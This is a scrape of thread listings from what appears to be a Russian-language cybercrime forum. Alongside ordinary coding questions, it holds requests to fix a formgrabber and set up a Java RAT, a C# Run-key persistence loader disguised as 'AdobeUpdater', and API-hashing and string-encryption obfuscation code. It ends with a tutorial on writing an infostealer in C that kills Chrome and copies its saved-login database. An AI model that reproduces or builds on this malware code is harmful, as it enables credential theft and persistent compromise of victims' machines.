The issue with this technique is that 3 chars longs domains are expensive, so I though about https://handshake.org/ that make possible to buy a xx.p domain for 33$.
So my two first question is :

Is handshake domains compatible with HH winows command to resolve the smb address ?

There is still a hudge issue with this first technique, the deserialisation allows to bypass MOTW, so invoking a remote payload with HH will make me lose this advantage. It is bad :(

I try harded to understand the size limitation issue, I think I dont understand something with the stream's headers maby. This is my main problem / question, can someone help me to understand this length limitation ?

I am also working on a way to pack the .hta without extension somewhere in the project directories an invoke it in 11 chars but I don't like the idea of having the payload somewhere else that the .suo itself.

Contact me in private if you want to use matrix or xmpp to talk faster.
I totally unserstand that some people will have the solution but will fix it and keep it private. In this case rep+ for the idea and reproductions instructions ;)

Вывод данных из тхт бдшки C#
ID: 6765d804b4103b69df37593b
Thread ID: 59473
Created: 2021-11-29T18:32:46+0000
Last Post: 2021-11-29T23:47:12+0000
Author: Ags1of
Replies: 1 Views: 195

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace Hui
{
    class Program
    {
        static void Main(string[] args)
        {
            string path = Console.ReadLine();
            string content = File.ReadAllText(path);
            string[] baze = content.Split(':', ';', ' ');
            long index = 0;
            bool hasSerached = false;
            bool hasSerachedd = false;

            string search = Console.ReadLine(); //Имя, номер или фамилия человека, которого вы хотите найти.

           

        }
    }
}

Помогите сделать такой класс, в котором будут имя, фамилия, номер. И чтобы по этому классу прогонялась бд(тхт файл)(переменная search). И если мы ввели имя, и оно есть в базе, то нам выводится фамилия и номер, если номер, то фамилия и имя, и тд. Также, чтобы, если было совпадение по имени, или фамилии, выводились все нужные данные, а не только по одному человеку.

run application on second monitor(hmonitor)
ID: 6765d804b4103b69df3757c5
Thread ID: 93708
Created: 2023-07-23T06:01:18+0000
Last Post: 2023-07-23T09:13:02+0000
Author: dirwin
Replies: 4 Views: 194

Добрый день, возник вопрос, у меня есть 2 монитора, а следственно 2 дисплея, а следственно 2 hmonitor ,как я понимаю
Я пробовал ставить второй hmonitor на место первого присваивая ему координаты 0,0
Пробовал запускать createprocess с флагорм 0х400 и ставить ему второй hmonitor для si.hStdOutput
Пробовал запускать createprocess по х у
Пробовал shellexecute
Но никак не могу запуститить например тот же нотпад на втором экране
Вопрос, почему оно не работает?
Почему допустим если возьмем createprocess и поставим флаг запуска на другом desktop то оно сработает, а запуск на втором мониторе нет??
Возможно ли как то присвоить второму монитору статус примари что ли, чтобы теперь все приложения думали что это главный экран , и там запускались

Форрмграббер
ID: 6765d804b4103b69df375972
Thread ID: 56400
Created: 2021-09-07T21:32:55+0000
Last Post: 2021-09-07T21:32:55+0000
Author: TintoBruss
Replies: 0 Views: 194

Есть формграббер написанный на СИ, в связи с выходом обновления хром перестал корректно работать.
Нужно исправить код, все исходники есть.
ПМ

Вопрос по Java
ID: 6765d804b4103b69df3758da
Thread ID: 64760
Created: 2022-03-24T15:51:15+0000
Last Post: 2022-03-29T12:02:17+0000
Author: reifide
Replies: 1 Views: 193

Есть ратник на java https://github.com/thisisnzed/Pandora
Собрать и запустить у меня получилось, но проблема с агентом, нет соединения с сервером. Автор темы написал, что нужно иметь сервер обновления, чтобы агент проверялся на обновления и после будет коннектится. Может кто-то пояснить как это реализовать, в Java нет опыта.

C# - Startup Loader
ID: 6765d804b4103b69df37589b
Thread ID: 72023
Created: 2022-08-21T12:06:17+0000
Last Post: 2022-08-21T12:06:17+0000
Author: qGodless
Replies: 0 Views: 192

[Solved] Here is the code

C#:Copy to clipboard

using System;
using System.Security.Principal;
using System.IO;
using System.Net;
using System.Diagnostics;
using Microsoft.Win32;


namespace AdobeUpdater
{
    class AdobeUpdater
    {
        static void Main(string[] args)
        {
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            key.SetValue("C:\\Users\\Public\\System32\\a.txt", System.Windows.Forms.Application.ExecutablePath);
        }
    }
}
Leaf.xNet куки
ID: 6765d804b4103b69df3758a2
Thread ID: 70962
Created: 2022-08-01T13:17:27+0000
Last Post: 2022-08-02T19:33:36+0000
Author: krakersja
Replies: 5 Views: 192

Всем добрый день.
Как можно добавить данную куку в куки tokens: [{"Type":2"token":"value"}]
Не пойму как это сделать через Cokie.Set()

dbgeng.dll дизасм длин
ID: 6765d804b4103b69df375895
Thread ID: 72327
Created: 2022-08-28T07:55:46+0000
Last Post: 2022-08-29T23:10:26+0000
Author: arsarsov
Replies: 6 Views: 191

В общем методом v`тыка удалось мне добиться того, что бы данный код находил длину инструкции по заданному адресу
Собсна сам вопрос - можно ли dbgeng заставть делать то же самое, только не аттача дебаг к своему процессу и не начиная сессию отладки ?

Spoiler: Код

C++:Copy to clipboard

    HRESULT a = DebugCreate(__uuidof(IDebugClient), (void**)&clt);

    a = clt->AttachProcess(NULL, GetProcessId(GetCurrentProcess()), DEBUG_ATTACH_NONINVASIVE | DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND);

    a = clt->QueryInterface(__uuidof(IDebugControl), (void**)&ctrl);

    a = ctrl->WaitForEvent(DEBUG_WAIT_DEFAULT, -1);

    ULONG64 newOffset = 0;

    ULONG64 addr = (ULONG64)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtClose");

    a = ctrl->GetNearInstruction(addr, 1, &newOffset);

    int instr_len = newOffset - addr;
Динамическое определение типов?
ID: 6765d804b4103b69df375960
Thread ID: 57693
Created: 2021-10-13T21:13:23+0000
Last Post: 2021-10-13T21:38:29+0000
Author: atavism
Replies: 3 Views: 191

В общем, пытаюсь сделать подгрузку функций по хешу в сишке. Додумался в итоге до функций с переменными параметрами. Для аргументов решил воспользоваться макросом _Generic, но в итоге получается ошибка:

1634159226700.png

И не могу додуматься как её пофиксить. Или может есть варианты с определением и пушем типов в функцию получше? Не очень бы хотелось рыться с асмом, на самом деле.. но в принципе и с ним побороться готов.
Код прилагаю. Ах, да, строка с ошибкой помечена комментарием "err"...

Spoiler: code

C:Copy to clipboard

#include <Windows.h>
#include <libloaderapi.h>
#include <stdarg.h>

#include "crypto.h"
#include "libloader.h"

#pragma region generictypename
// Список типов (специфичные определения также присутствуют), пополняется по мере необходимости.
enum _typename {
    TYPENAME_BOOL,
    TYPENAME_CHAR,
    TYPENAME_BYTE,
    TYPENAME_WCHAR,
    TYPENAME_WORD,
    TYPENAME_DWORD,
    TYPENAME_LPWSTR,
    TYPENAME_LPDWORD,
    TYPENAME_LPBYTE,
    TYPENAME_PDWORD,
    TYPENAME_LPSTR,
    TYPENAME_LPCSTR,
    TYPENAME_UINT,
    KEY_HKEY,
    KEY_REGSAM,
    KEY_PHKEY
};

#define __typename(x) _Generic((x),            \
        BOOL:        TYPENAME_BOOL,            \
        CHAR:        TYPENAME_CHAR,            \
        BYTE:        TYPENAME_BYTE,            \
        WCHAR:        TYPENAME_WCHAR,            \
        WORD:        TYPENAME_WORD,            \
        DWORD:        TYPENAME_DWORD,            \
        LPWSTR:        TYPENAME_LPWSTR,        \
        LPDWORD:    TYPENAME_LPDWORD,        \
        LPBYTE:        TYPENAME_LPBYTE,        \
        PDWORD:        TYPENAME_PDWORD,        \
        LPSTR:        TYPENAME_LPSTR,            \
        LPCSTR:        TYPENAME_LPCSTR,        \
        UINT:        TYPENAME_UINT,            \
        HKEY:        KEY_HKEY,                \
        REGSAM:        KEY_REGSAM,                \
        PHKEY:        KEY_PHKEY                \
)       
#pragma endregion

/*    Прототип, но жалко удалять
inline LPVOID noArg(HMODULE hModule, DWORD hash) {
    typedef LPVOID(WINAPI* newfnc)();
    newfnc fnc = (newfnc)GetProcAddress(hModule, hash);

    return fnc();
}
*/

inline LPVOID fncCall(HMODULE hModule, DWORD hash, unsigned int argNum, ...) {
    va_list args;
    unsigned int control = 0;
    va_start(args, argNum);

    while(argNum--) {
        control += va_arg(args, __typename(argNum)); // err
        if(control >= argNum) {
            // ...
            typedef LPVOID(WINAPI* fncCall)();
            // ...
        } else {
            DWORD dwErr = GetLastError();
            return dwErr;
        }
    }
}
C# - need someone help me make some change in Source code
ID: 6765d804b4103b69df375776
Thread ID: 102154
Created: 2023-11-13T06:05:50+0000
Last Post: 2023-11-13T06:05:50+0000
Author: waka1116
Replies: 0 Views: 190

i have source code and need make some change in code. Contact with me via Telegram to have more detail and I will pay for this task.

I'm sure it's not too difficult.

telegram: https://t.me/waka1116

Админка для мобильного приложения из wordpress
ID: 6765d804b4103b69df37581a
Thread ID: 82609
Created: 2023-02-23T12:33:53+0000
Last Post: 2023-02-23T12:33:53+0000
Author: Chu Feng
Replies: 0 Views: 188

Ребят , подскажите статью или ещё что где с wp быстро поднимают админку под мобильное приложение .
Раньше использовал strapi но хочется что-то ещё более быстрое (в плане развертывания а не производительности .) и желательно чтоб на любой г*вно хостинг ставилась .
ps: нужно не для тёмных дел а чтоб на поток поставить можно было , с минимальными затратами (времени , денег , нервов и прочего)

Stub with an Invoke action
ID: 6765d804b4103b69df375884
Thread ID: 74404
Created: 2022-10-16T18:32:16+0000
Last Post: 2022-10-16T19:22:38+0000
Author: Volk_v_Shkure
Replies: 2 Views: 187

Доброго времени суток! Кто-то может привести пример как выглядит код стаба через invoke C#.
Я новичок в этом, буду благодарен за помощь.

compile time exemple
ID: 6765d804b4103b69df3758b4
Thread ID: 69216
Created: 2022-06-26T01:59:16+0000
Last Post: 2022-06-27T18:59:31+0000
Author: user
Replies: 3 Views: 187

Spoiler: source

C++:Copy to clipboard

#include <stdio.h>
#include <stdint.h>

__declspec(noinline) void exampleRandom1();
__declspec(noinline) void exampleRandom2();
__declspec(noinline) void exampleHashing();
__declspec(noinline) void exampleEncryption();

#define vxCPLSEED ((__TIME__[7] - '0') * 1  + (__TIME__[6] - '0') * 10  + (__TIME__[4] - '0') * 60   + (__TIME__[3] - '0') * 600 + (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000)

template <uint32_t Const> struct vxCplConstantify { enum { Value = Const }; };

constexpr uint32_t vxCplRandom(uint32_t Id)
{
    return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF;
}

#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1)))
#define vxRAND()           (vxCplConstantify<vxCplRandom(__COUNTER__ + 1)>::Value)

constexpr char   vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); }
constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); }
constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) { return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23)); }
constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); }
constexpr uint32_t vxCplHash(const char* Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); }

#define vxHASH(Str) (uint32_t)(vxCplConstantify<vxCplHash(Str)>::Value ^ vxCplConstantify<vxCplRandom(1)>::Value)

template <uint32_t...> struct vxCplIndexList {};
template <typename   IndexList, uint32_t Right> struct vxCplAppend;
template <uint32_t... Left, uint32_t Right> struct vxCplAppend<vxCplIndexList<Left...>, Right> { typedef vxCplIndexList<Left..., Right> Result; };
template <uint32_t N> struct vxCplIndexes { typedef typename vxCplAppend<typename vxCplIndexes<N - 1>::Result, N - 1>::Result Result; };
template <> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; };

const char vxCplEncryptCharKey = vxRANDOM(0, 0xFF);
constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); }

template <typename IndexList> struct vxCplEncryptedString;
template <uint32_t... Idx>    struct vxCplEncryptedString<vxCplIndexList<Idx...> >
{
    char Value[sizeof...(Idx) + 1];

    constexpr inline vxCplEncryptedString(const char* const Str): Value { vxCplEncryptChar(Str[Idx], Idx)... }
    {
    }

    char* decrypt()
    {
        for (uint32_t t = 0; t < sizeof...(Idx); t++)
        {
            this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t);
        }
        this->Value[sizeof...(Idx)] = '\0'; return this->Value;
    }
};

#define vxENCRYPT(Str) (vxCplEncryptedString<vxCplIndexes<sizeof(Str) - 1>::Result>(Str).decrypt())

void exampleRandom1()
{
    switch (vxRANDOM(1, 4))
    {
    case 1: { printf("exampleRandom1: Code path 1!\n"); break; }
    case 2: { printf("exampleRandom1: Code path 2!\n"); break; }
    case 3: { printf("exampleRandom1: Code path 3!\n"); break; }
    case 4: { printf("exampleRandom1: Code path 4!\n"); break; }
    default: { printf("Fucking poltergeist!\n"); }
    }
}

void exampleRandom2()
{
    volatile uint32_t RndVal = vxRANDOM(0, 100);
    if (vxRAND() % 2) { RndVal += vxRANDOM(0, 100); }
    else { RndVal -= vxRANDOM(0, 200); }
    printf("exampleRandom2: %d\n", RndVal);
}

void exampleHashing()
{
    printf("exampleHashing: 0x%08X\n", vxHASH("hello world!"));
    printf("exampleHashing: 0x%08X\n", vxHASH("HELLO WORLD!"));
}

void exampleEncryption()
{
    printf("exampleEncryption: %s\n", vxENCRYPT("Hello world!"));
}

int main()
{
    exampleRandom1();
    exampleRandom2();
    exampleHashing();
    exampleEncryption();

}

Spoiler: result

Code:Copy to clipboard

exampleRandom1: Code path 2!
exampleRandom2: 145
exampleHashing: 0x2D13947A
exampleHashing: 0x2D13947A
exampleEncryption: Hello world!

Spoiler: disassm

Code:Copy to clipboard

exampleRandom1 proc near
    var_18= dword ptr -18h
   push ebp
   mov   ebp, esp
   sub   esp, 18h
   mov   [esp+18h+var_18], offset aExamplerandom1 ; "exampleRandom1: Code path 2!"
   call puts
   leave
   retn
exampleRandom1 endp
 
exampleRandom2 proc near
   var_28= dword ptr -28h
   var_24= dword ptr -24h
   var_C= dword ptr -0Ch
   push ebp
   mov   ebp, esp
   sub   esp, 28h
   mov   [ebp+var_C], 78
   mov   eax, [ebp+var_C]
   mov   [esp+28h+var_28], offset aExamplerandom2 ; "exampleRandom2: %d\n"
   add   eax, 67
   mov   [ebp+var_C], eax
   mov   eax, [ebp+var_C]
   mov   [esp+28h+var_24], eax
   call printf
   leave
   retn
exampleRandom2 endp
 
exampleHashing proc near
   var_18= dword ptr -18h
   var_14= dword ptr -14h
   push ebp
   mov   ebp, esp
   sub   esp, 18h
   mov   [esp+18h+var_14], 2D13947Ah
   mov   [esp+18h+var_18], offset aExamplehashing ; "exampleHashing: 0x%08X\n"
   call printf
   mov   [esp+18h+var_14], 2D13947Ah
   mov   [esp+18h+var_18], offset aExamplehashing ; "exampleHashing: 0x%08X\n"
   call printf
   leave
   retn
exampleHashing endp
 
exampleEncryption proc near
   var_28= dword ptr -28h
   var_24= dword ptr -24h
   var_15= byte ptr -15h
   var_14= byte ptr -14h
   var_13= byte ptr -13h
   var_12= byte ptr -12h
   var_11= byte ptr -11h
   var_10= byte ptr -10h
   var_F= byte ptr -0Fh
   var_E= byte ptr -0Eh
   var_D= byte ptr -0Dh
   var_C= byte ptr -0Ch
   var_B= byte ptr -0Bh
   var_A= byte ptr -0Ah
   var_9= byte ptr -9
   push ebp
   xor   eax, eax
   mov   ebp, esp
   mov   ecx, 0Dh
   push edi
   lea   edi, [ebp+var_15]
   sub   esp, 24h
   rep stosb
   xor   eax, eax
   mov   [ebp+var_15], 4Ah
   mov   [ebp+var_14], 66h
   mov   [ebp+var_13], 68h
   mov   [ebp+var_12], 69h
   mov   [ebp+var_11], 69h
   mov   [ebp+var_10], 27h
   mov   [ebp+var_F], 7Fh
   mov   [ebp+var_E], 66h
   mov   [ebp+var_D], 78h
   mov   [ebp+var_C], 67h
   mov   [ebp+var_B], 68h
   mov   [ebp+var_A], 2Ch
   loc_401045:
   lea   ecx, [eax+2]
   xor   [ebp+eax+var_15], cl
   inc   eax
   cmp   eax, 0Ch
   lea   edx, [ebp+var_15]
   jnz   short loc_401045
   mov   [esp+28h+var_24], edx
   mov   [esp+28h+var_28], offset aExampleencrypt ; "exampleEncryption: %s\n"
   mov   [ebp+var_9], 0
   call printf
   add   esp, 24h
   pop   edi
   pop   ebp
   retn
exampleEncryption endp

в аттаче проЖект под vs2022

Нужны програмисты на C#
ID: 6765d804b4103b69df3758de
Thread ID: 64804
Created: 2022-03-25T11:41:10+0000
Last Post: 2022-03-25T11:41:10+0000
Author: 000_O_O_000
Replies: 0 Views: 185

Связь в пм

user mode anti-screen
ID: 6765d804b4103b69df375683
Thread ID: 129241
Created: 2024-12-18T17:35:48+0000
Last Post: 2024-12-18T18:26:33+0000
Author: mddbs
Replies: 3 Views: 182

добрый вечер, хотел я по быстрому написать антискринграб но вот не получилось так как окно(winver.exe) не даёт поменять конкретные параметры окна из юзермода. Пробовал через установку флага WDA_EXCLUDEFROMCAPTURE и WS_EX_LAYERED но к сожалению безрезультатно.
Был бы рад получить пару идей как можно реализовать антискрин из юзермода для окна winver.exe.
Заранее всем спасибо ☺️

[C#]Не сохраняется файл в нужное место
ID: 6765d804b4103b69df375905
Thread ID: 62798
Created: 2022-02-11T11:00:36+0000
Last Post: 2022-02-11T19:06:40+0000
Author: Ags1of
Replies: 3 Views: 182

Form1

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;

namespace sosa
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public void button2_Click(object sender, EventArgs e)
        {

            string path = null;
            var dialog = new OpenFileDialog();

            if (dialog.ShowDialog() == DialogResult.OK)
            {
                path = dialog.FileName;
            }
            textBox4.Text = path;
            MessageBox.Show(path);

        }

        public void button1_Click(object sender, EventArgs e)
        {
            string FalderPath = null;
            FolderBrowserDialog fld = new FolderBrowserDialog();
            if (fld.ShowDialog() == DialogResult.OK)
            {
                FalderPath = fld.SelectedPath;
            }
            textBox3.Text = FalderPath;
            MessageBox.Show(FalderPath);
        }

        private void button3_Click(object sender, EventArgs e)
        {
            Form2 form2 = new Form2();
            Hide();
            form2.Show();
        }

        private void button4_Click(object sender, EventArgs e)
        {
            Form2 form2 = new Form2();
            string path = textBox4.Text;
            string llarrayOfMail = System.IO.File.ReadAllText(path);
            string separator = null;
            
            if (textBox1.Text == ",    (comma)")
            {
                separator = ",";
            }
            else if(textBox1.Text == "; (semicolon)")
            {
                separator = ";";
            }
            else if(textBox1.Text == ":    (colon)")
            {
                separator = ":";
            }
            else if(textBox1.Text == "space")
            {
                separator = " ";
            }
            else if (textBox1.Text == "enter")
            {
                separator = "\n";
            }
            else
            {
                separator = textBox1.Text;
            }

            char sep = Convert.ToChar(separator);
            string[] arrayOfMail = llarrayOfMail.Split(sep);
            string separator2 = textBox3.Text;
            using (StreamWriter sw = new StreamWriter(path, false, System.Text.Encoding.Default))
            {
                foreach(var el in arrayOfMail)
                {
                    sw.WriteLine(el + separator2);
                }
            }

            FileInfo fileInf = new FileInfo(path);
            fileInf.CopyTo(textBox3.Text + "[eq.txt", true);



        }

        public void label4_Click(object sender, EventArgs e)
        {

        }

        public void textBox1_TextChanged(object sender, EventArgs e)
        {

            string txt = textBox1.Text;
        }

        public void textBox2_TextChanged(object sender, EventArgs e)
        {
            string txt1 = textBox2.Text;
        }

        public void textBox3_TextChanged(object sender, EventArgs e)
        {
            string txt2 = textBox3.Text;
        }

        public void textBox4_TextChanged(object sender, EventArgs e)
        {

        }
    }
}

Form2

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace sosa
{
    public partial class Form2 : Form
    {
        public Form2()
        {
            InitializeComponent();
        }

        public void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
        {
            
            string textComboBox1 = comboBox1.Text;
            MessageBox.Show(textComboBox1);

        }

        public void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
        {
            Form1 form1 = new Form1();
            form1.textBox2.Text = comboBox2.Text;
            string textComboBox2 = comboBox2.Text;
            MessageBox.Show(textComboBox2);
        }

        private void button1_Click(object sender, EventArgs e)
        {
            Form2 form2 = new Form2();
            Form1 form1 = new Form1();
            if (comboBox1.Text == "" || comboBox2.Text == "")
            {
                
                MessageBox.Show("choose correct separators");
            }
            else
            {
                form1.textBox1.Text = comboBox1.Text;
                form1.textBox2.Text = comboBox2.Text;
                
                MessageBox.Show("Parametrs set successfully");
                Hide();
                form1.Show();
            }

        }
    }
}

1644577229047.png1644577239811.png

Отправка сообщений в дискорде
ID: 6765d804b4103b69df37590f
Thread ID: 62198
Created: 2022-01-30T18:20:54+0000
Last Post: 2022-01-31T18:05:57+0000
Author: Ags1of
Replies: 1 Views: 182

C#:Copy to clipboard

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Discord;
using Discord.Net;
using Discord.WebSocket;

namespace ddk
{
    class Program
    {
        static void Main(string[] args)
        {
            System.Threading.TimerCallback callback = new System.Threading.TimerCallback();
            var dt = new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 21, 0, 0);
            while (true)
            {
                if (DateTime.Now < dt)
                {
                    continue;
                }
                else if (DateTime.Now > dt)
                {
                    continue;
                }

                if (DateTime.Now == dt)
                {
                    
                }

            }



            string token = Console.ReadLine();


        }

        //public async Task Announce() // 1
        //{
        //    DiscordSocketClient _client = new DiscordSocketClient(); // 2
        //    ulong id = 123456789012345678; // 3
        //    var chnl = _client.GetChannel(id) as IMessageChannel; // 4
        //    await chnl.SendMessageAsync("Announcement!"); // 5
        //}

        public async Task SendMessage(string token)
        {
           var _client = new DiscordSocketClient();

            await _client.LoginAsync(TokenType.Bot, token);
            await _client.StartAsync();

            // this is important
            // found it here:
            // https://github.com/discord-net/Discord.Net/issues/1100
            _client.Ready += _client_Ready;

            await Task.Delay(-1);
        }

        private async Task _client_Ready()
        {
            var guild = _client.GetGuild(7....3); // guild id

            var channel = guild.GetTextChannel(79034....63); // channel id

            await channel.SendMessageAsync("my_message");

            Environment.Exit(0);
        }


    }
}

Помогите фиксануть код. Задача такова: надо чтобы с моего аккаунта отправлялось определённое сообщение в определённое время, которое я сам введу. Есть некоторые ошибки в коде, заранее извиняюсь за них, болею, голова вообще не думает.

Пишем стилер на C
ID: 6765d804b4103b69df375685
Thread ID: 129223
Created: 2024-12-18T13:31:19+0000
Last Post: 2024-12-18T13:31:19+0000
Author: miserylord
Prefix: Статья
Replies: 0 Views: 181

_Автор:miserylord
Эксклюзивно для форума: _xss.is

Улыбнись этому миру, miserylord на связи!

В этой статье мы разберем процесс написания простого инфо-стилера на языке C. Переходим к практике!

Собираем информацию

Итак, инфо-стилер — это вид малвари, который, как следует из названия, предназначен для сбора информации с зараженных целей. Писать код я буду под операционную систему Windows. Сам процесс будет построен от написания небольшой программы, буквально концепта, до чего-то более сложного и глобального.

Начнем со сбора информации о системе. Задача заключается в том, чтобы собрать информацию об устройстве, на котором был запущен код, и сохранить результат в файл info.txt.

Для работы с Windows мы будем использовать программный интерфейс (API), который в Windows называется Win32, а его методы описаны в документации на сайте Microsoft.

C:Copy to clipboard

// 1
#include <stdio.h>
#include <windows.h>
#include <tchar.h>

void collectSystemInfo() {
    // 2
    FILE *file = fopen("info.txt", "w");
    if (file == NULL) {
        printf("Ошибка открытия файла для записи.\n");
        return;
    }

    // 3
    OSVERSIONINFO osvi;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (GetVersionEx(&osvi)) {
        fprintf(file, "Система: Windows\n");
        fprintf(file, "Версия ОС: %lu.%lu (Build %lu)\n",
                osvi.dwMajorVersion,
                osvi.dwMinorVersion,
                osvi.dwBuildNumber);
    } else {
        fprintf(file, "Не удалось получить информацию о версии ОС.\n\n");
    }

    // 4
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    fprintf(file, "Архитектура процессора: ");
    switch (si.wProcessorArchitecture) {
        case PROCESSOR_ARCHITECTURE_AMD64:
            fprintf(file, "x64 (AMD or Intel)\n");
            break;
        case PROCESSOR_ARCHITECTURE_INTEL:
            fprintf(file, "x86\n");
            break;
        case PROCESSOR_ARCHITECTURE_ARM:
            fprintf(file, "ARM\n");
            break;
        default:
            fprintf(file, "Unknown architecture\n");
            break;
    }
    fprintf(file, "Количество процессоров: %lu\n", si.dwNumberOfProcessors);

    // 5
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    if (GlobalMemoryStatusEx(&statex)) {
        fprintf(file, "\nФизическая память (всего): %llu MB\n",
                statex.ullTotalPhys / (1024 * 1024));
        fprintf(file, "Физическая память (свободно): %llu MB\n",
                statex.ullAvailPhys / (1024 * 1024));
        fprintf(file, "Виртуальная память (всего): %llu MB\n",
                statex.ullTotalPageFile / (1024 * 1024));
        fprintf(file, "Виртуальная память (свободно): %llu MB\n",
                statex.ullAvailPageFile / (1024 * 1024));
    } else {
        fprintf(file, "Не удалось получить информацию о памяти.\n");
    }

    // 6
    TCHAR computerName[256];
    DWORD size = sizeof(computerName) / sizeof(computerName[0]);
    if (GetComputerName(computerName, &size)) {
        fprintf(file, "\nИмя компьютера: %s\n", computerName);
    } else {
        fprintf(file, "\nНе удалось получить имя компьютера.\n");
    }

    // 7
    fclose(file);
    printf("Информация успешно сохранена в файл info.txt.\n");
}

// 8
int main() {
    collectSystemInfo();
    return 0;
}
  1. Подключаем библиотеку windows.h, которая предоставляет доступ к функциям операционной системы Windows.
  2. Открываем файл info.txt для записи. Если файл не удается открыть, выводим ошибку.
  3. Получаем информацию о версии операционной системы. Описание метода — OSVERSIONINFOA (winnt.h) - Win32 apps | Microsoft Learn. Создаем структуру и задаем размер в соответствии с документацией.
  4. Получаем информацию о процессоре и количестве процессоров. Получаем информацию о системе, проверяем архитектуру процессора и записываем количество процессоров.
  5. Получаем информацию о памяти (физической и виртуальной). Переводим значения из байт в мегабайты.
  6. Получаем имя компьютера. Тип TCHAR — это тип, который может быть как char, так и wchar_t, в зависимости от того, используется ли кодировка ANSI или Unicode. Вычисляем размер буфера, который будет передан в функцию GetComputerName.
  7. Закрываем файл и выводим сообщение о успешном завершении.
  8. Вызываем функцию для сбора информации в main функции.

Для сборки используем компилятор mingw32-gcc. Проверяем код и убеждаемся, что он успешно работает.

Перейдем к браузерам. Самым популярным браузером является Google Chrome. Файлы располагаются в директории C:\Users\User\AppData\Local\Google\Chrome\User Data. Можно было бы скопировать всю директорию целиком, но она занимает несколько гигабайт данных, поэтому придется подходить более избирательно. Сконцентрируем внимание на файле Login Data. Этот файл хранит информацию о сохранённых пользователем данных для входа на веб-сайты в браузере. Для корректного копирования файлов необходимо хорошо разобраться, за что отвечает каждый файл программы, и понять, как с ним работать. В целом, если мы перенесём всю папку с одного устройства на другое, и версии программы и операционной системы будут идентичными, то проблем с использованием этих данных возникнуть не должно. (Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.)

Код будет выглядеть следующим образом:

C:Copy to clipboard

// 1
void killProcessByName(const TCHAR *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        _tprintf(_T("Не удалось создать снимок процессов.\n"));
        return;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_tcsicmp(pe32.szExeFile, processName) == 0) {
                HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
                if (hProcess) {
                    _tprintf(_T("Завершаем процесс: %s (PID: %u)\n"), processName, pe32.th32ProcessID);
                    TerminateProcess(hProcess, 0);
                    CloseHandle(hProcess);
                } else {
                    _tprintf(_T("Не удалось открыть процесс %s для завершения.\n"), processName);
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    } else {
        _tprintf(_T("Не удалось получить список процессов.\n"));
    }

    CloseHandle(hSnapshot);
}

// 2
void copyChromeProfiles() {
    TCHAR chromePath[MAX_PATH], loginDataPath[MAX_PATH], destPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath))) {
        _tcscat(chromePath, _T("\\Google\\Chrome\\User Data\\Default"));
        _tcscat(chromePath, _T("\\Login Data"));

        GetCurrentDirectory(MAX_PATH, destPath);
        _tcscat(destPath, _T("\\ChromeLoginData"));

        _tprintf(_T("Копирование файла Login Data Chrome...\n"));
        CopyFile(chromePath, destPath, FALSE);
        _tprintf(_T("Копирование файла Login Data завершено.\n"));
    } else {
        _tprintf(_T("Не удалось найти путь профилей Chrome.\n"));
    }
}

// 3
int main() {
    collectSystemInfo();
    killProcessByName(_T("chrome.exe"));
    copyChromeProfiles();
    return 0;
}
  1. Завершение процесса Chrome перед копированием файла Login Data является необходимой мерой для обеспечения корректного, безопасного и полного копирования данных, а также для предотвращения ошибок доступа, которые могут возникнуть при попытке скопировать файл, к которому существует активный доступ со стороны программы. Функция создаёт снимок всех процессов в системе с помощью CreateToolhelp32Snapshot. Затем она перебирает все процессы, используя Process32First и Process32Next. Если имя текущего процесса совпадает с заданным, открывается этот процесс для завершения через OpenProcess. После этого процесс завершает свою работу через TerminateProcess. В конце закрывается хэндл снимка с помощью CloseHandle.
